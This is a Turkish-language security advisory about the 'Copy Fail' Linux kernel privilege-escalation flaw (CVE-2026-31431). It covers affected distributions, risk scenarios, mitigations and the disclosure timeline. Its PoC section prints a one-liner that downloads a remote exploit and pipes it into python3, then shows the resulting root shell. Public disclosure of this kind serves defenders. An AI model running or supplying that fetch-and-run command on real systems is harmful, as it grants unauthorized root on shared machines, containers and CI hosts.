732 bayt tüm Linux'larda işliyor: Epik güvenlik açığı neredeyse on yıldır gizliydi

🚨 Epik güvenlik açığı: 732 bayt tüm Linux'larda işliyor, neredeyse on yıldır gizliydi

"Copy Fail" adlı Linux çekirdeği güvenlik açığı (CVE-2026-31431) kamuya açıklandı:

• 732 baytlık Python betiği
• %100 güvenilir, yarış penceresi veya çekirdek offset'i gerektirmez
• tüm Linux dağıtımlarını etkiliyor (2017'den bugüne)
• konteyner kaçış ilkesi, kiracılar arası saldırı
• neredeyse on yıldır gizli kaldı, 29 Nisan 2026'da kamuya açıklandı

Aynı betikUbuntu, RHEL, Amazon Linux, SUSE üzerinde de — değişiklik gerektirmeden — çalışıyor.

🎯 Güvenlik açığının özü

Tek mantıksal kusur

Copy Fail bir düz mantık kusurudur:

• Yarış penceresi gerekmez: çoğu Linux LPE'nin aksine yarış koşulu gerektirmez
• Çekirdek offset'i gerekmez: çekirdeğe özgü offset değerlerine ihtiyaç duymaz
• %100 güvenilir: her seferinde başarılı
• Aynı betik: tüm dağıtımlarda çalışır

Saldırı zinciri

Copy Fail'in saldırı zinciri:

• authencesn mantık hatası: bir mantık hatası
• AF_ALG: çekirdek crypto API'si üzerinden
• splice(): zincirleme çağrı
• 4 baytlık page-cache yazması: nihai saldırı ilkesi
• Neredeyse on yıldır istismar edilebilir: 2017'den yamanın yayımlanmasına kadar

📊 Etkilenen kapsam

Resmî olarak doğrulanan dağıtımlar

Dağıtım	Çekirdek sürümü	Durum
Ubuntu 24.04 LTS	6.17.0-1007-aws	✅ Doğrulandı
Amazon Linux 2023	6.18.8-9.213.amzn2023	✅ Doğrulandı
RHEL 10.1	6.12.0-124.45.1.el10_1	✅ Doğrulandı
SUSE 16	6.12.0-160000.9-default	✅ Doğrulandı

Etkilenen diğer dağıtımlar

Aşağıdaki dağıtımlar da etkilendi:

• Debian
• Arch Linux
• Fedora
• Rocky Linux
• AlmaLinux
• Oracle Linux
• Gömülü Linux

Sonuç: çekirdeğiniz 2017 ile yama arasında derlendiyse —siz etkilendiniz.

💡 Yüksek riskli senaryolar

Senaryo	Risk	Etki
Çok kiracılı Linux ana makineleri	Yüksek	Herhangi bir kullanıcı root olabilir
Kubernetes / konteyner kümeleri	Yüksek	Konteynerler ve kiracılar arası saldırı
CI Runner / Build Farm	Yüksek	PR, runner'da root olur
Kullanıcı kodu çalıştıran Cloud SaaS	Yüksek	Kiracı, host root olur
Standart Linux sunucuları	Orta	İç LPE, zincirlenebilir saldırı
Tek kullanıcılı dizüstü bilgisayarlar	Düşük	Sızma sonrası yetki yükseltme adımı

🔧 Önlemler

Seçenek 1: Çekirdeği güncelleyin (önerilen)

Çekirdeği şumainline commit a664bf3d603d içeren sürüme güncelleyin:

• Yama içeriği: 2017 tarihli algif_aead in-place optimizasyonunun geri alınması
• Etki: page-cache sayfaları artık yazılabilir destination scatterlist'te yer almıyor
• Durum: çoğu ana dağıtım yamayı yayımladı

Seçenek 2: algif_aead modülünü devre dışı bırakın (geçici)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

algif_aead'i devre dışı bırakmanın etkisi

Bileşen	Etki
dm-crypt / LUKS	Etkilenmez
kTLS / IPsec	Etkilenmez
OpenSSL / SSH	Etkilenmez
AF_ALG kullanıcı alanı	Etkilenebilir

Sonuç: çoğu sistem için algif_aead'i devre dışı bırakmanın belirgin bir etkisi yoktur.

Seçenek 3: seccomp ile AF_ALG'yi engelleyin

Güvenilmeyen iş yükleri (konteyner, sanal alan, CI) için seccomp ile AF_ALG soket oluşturmasını engelleyin:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC gösterimi

Güvenlik açığının PoC'si, savunucuların sistemlerini doğrulaması için kamuya açıktır:

Hızlı çalıştırma

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC ayrıntıları

• Dosya boyutu: 732 bayt
• Dil: yalnızca Python 3.10+ stdlib (os, socket, zlib)
• Varsayılan hedef: /usr/bin/su
• SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Uyarı: betik, setuid ikili dosyasının page cache'ini değiştirir; değişiklikler yeniden başlatmanın ardından kalıcı olmaz, ancak root kabuğu gerçektir. Üretim ortamında çalıştırmayın.

📅 İfşa zaman çizelgesi

Tarih	Olay
2026-03-23	Linux kernel security team'e bildirim
2026-03-24	İlk doğrulama
2026-03-25	Yama önerisi ve inceleme
2026-04-01	Yamanın mainline'a gönderilmesi
2026-04-22	CVE-2026-31431 tahsisi
2026-04-29	Kamuya ifşa

🔍 Keşfeden: Xint Code

Güvenlik açığınıXint Code keşfetti:

• Tarama süresi: Linux crypto/ alt sistemini taramak yaklaşık 1 saat
• Keşif yöntemi: AI destekli kod denetimi
• Tam analiz: root cause, diyagramlar, operator prompt
• Diğer bulgular: aynı anda başka yüksek ciddiyetli güvenlik açıkları da bulundu; koordineli ifşa hâlâ sürüyor

Xint Code'un geçmişi

• 0-day RCE: ZeroDay Cloud, veritabanı kategorisini domine etti (Redis, PostgreSQL, MariaDB)
• DARPA AIxCC Top 3: DARPA AI Cyber Challenge finalisti
• DEF CON CTF 9×: DEF CON CTF tarihinin en çok kazanan takımı

📝 Özet

Copy Fail (CVE-2026-31431), epik düzeyde bir Linux çekirdeği güvenlik açığıdır:

• 732 bayt tüm Linux'larda işliyor (2017'den bugüne)
• %100 güvenilir, tek mantıksal kusur
• Konteyner kaçışı, kiracılar arası saldırı
• Neredeyse on yıldır gizliydi; 29 Nisan 2026'da kamuya açıklandı
• Yüksek riskli senaryolar: çok kiracılı ana makineler, konteyner kümeleri, CI Runner, SaaS
• Önlem: çekirdeği güncelleyin veya algif_aead'i devre dışı bırakın
• Keşfeden: Xint Code, AI destekli kod denetimi

Neredeyse on yıllık epik güvenlik açığı; tek bir betik tüm Linux'larda işliyor.

Güvenlik açığının resmî sitesi:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Teknik analiz:https://xint.io/blog/copy-fail-linux-distributions

Kernel yaması:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5